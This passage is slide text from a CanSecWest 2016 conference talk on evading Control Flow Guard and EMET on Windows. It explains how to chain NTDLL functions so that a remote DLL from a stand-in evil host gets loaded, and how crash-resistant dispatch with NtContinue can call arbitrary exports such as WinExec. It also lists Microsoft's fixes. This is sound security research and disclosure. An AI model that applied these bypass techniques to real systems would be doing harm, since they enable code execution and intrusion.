    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Use of networkx [6] and miasm2 [7] to collect suitable exports: In RtlInsertElementGenericTableFullAvl : EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI → EIP = [Arg1 + 0x2c]
  • 70.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Use of networkx [6] and miasm2 [7] to collect suitable exports: In RtlInsertElementGenericTableFullAvl : EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI → EIP = [Arg1 + 0x2c] EBX = Arg1 Param1 = EBX
  • 71.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Use of networkx [6] and miasm2 [7] to collect suitable exports: In RtlInsertElementGenericTableFullAvl : EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI → EIP = [Arg1 + 0x2c] EBX = Arg1 Param1 = EBX → Param1 = Arg1
  • 72.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Use of networkx [6] and miasm2 [7] to collect suitable exports: In RtlInsertElementGenericTableFullAvl : EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI → EIP = [Arg1 + 0x2c] EBX = Arg1 Param1 = EBX → Param1 = Arg1 EAX = Arg3 ECX = EAX + 0x10 Param2 = ECX
  • 73.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Use of networkx [6] and miasm2 [7] to collect suitable exports: In RtlInsertElementGenericTableFullAvl : EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI → EIP = [Arg1 + 0x2c] EBX = Arg1 Param1 = EBX → Param1 = Arg1 EAX = Arg3 ECX = EAX + 0x10 Param2 = ECX → Param2 = Arg3 + 0x10
  • 74.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Use of networkx [6] and miasm2 [7] to collect suitable exports: In RtlInsertElementGenericTableFullAvl : Simple Propagation Summary: → EIP = [Arg1 + 0x2c] → Param1 = Arg1 → Param2 = Arg3 + 0x10
  • 75.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Load arbitrary remote DLLs under EMET: → Chain of five NTDLL functions (Win 8.1 only): RtlLookupElementGenericTableFullAvl (1) RtlInsertElementGenericTableFullAvl (2) RtlLookupElementGenericTableFull (3) RtlTraceDatabaseFind (4) LdrInitShimEngineDynamic (5) Execute callchain 1→ 2→ 3→ 4→ 5 : Two controlled parameters LdrInitShimEngineDynamic([fakeStr + 0x8] + 0x20, [fakeStr] + 0x18) Param1 has to be within a module's bounds Param2: pointer to remote DLL: evilhostexploit.dll
  • 76.
  • 77.
    CanSecWest 2016 Crash-Resistant ExportDispatching Combining Function Chaining and Crash-Resistance • Function chain allows dispatching exports with max. two parameters MoveFileA(STR, STR) NtGetContextThread(HANDLE, CONTEXT) ... • After execution of last function in chain an AV is thrown → Catched when AV happens within callback() of setInterval() ! → Possibility to subsequently execute several function chains: MoveFileA() + LoadLibrary() → two chains NtGetContextThread() + NtContinue() → two chains WinExec() + WinExec() + WinExec() → three chains :)
  • 78.
  • 79.
    CanSecWest 2016 Crash-Resistant ExportDispatching Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain (2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space (3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL (4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode (5) Read return data of system call and proceed to step (2)
  • 80.
    CanSecWest 2016 Crash-Resistant ExportDispatching Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain (2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space (3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL (4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode (5) Read return data of system call and proceed to step (2) TNX to Yang Yu for the NtContinue Trick [5] !
  • 81.
  • 82.
    CanSecWest 2016 Mitigations Fixes andFeedback by Microsoft • user32 exception handing hardening feature addresses Internet Explorer 7-11 (MS15-124) [8] • Crash-Resistant issue fixed in MS Edge (MS15-125) [9] • Control Flow Guard is becoming more fine-grained with each Windows version: → NtContinue is no valid indirect call target in Windows10 RTM • Code Integrity in MS Edge: - block loading of arbitrary libraries - block child process creation (Windows 10 Insider Preview)
  • 83.
  • 84.
    CanSecWest 2016 References [1] http://www.codeproject.com/Articles/98691/Why-it-s-not-crashing [2]http://www.phreedom.org/presentations/reverse-engineering-ani/reverse-engineering-ani.pdf [3] https://www.exploit-db.com/docs/37276.pdf [4] https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf [5] https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf [6] https://networkx.github.io/ [7] https://github.com/cea-sec/miasm/tree/master/miasm2 [8] https://technet.microsoft.com/en-us/library/security/ms15-124.aspx [9] https://technet.microsoft.com/en-us/library/security/ms15-125.aspx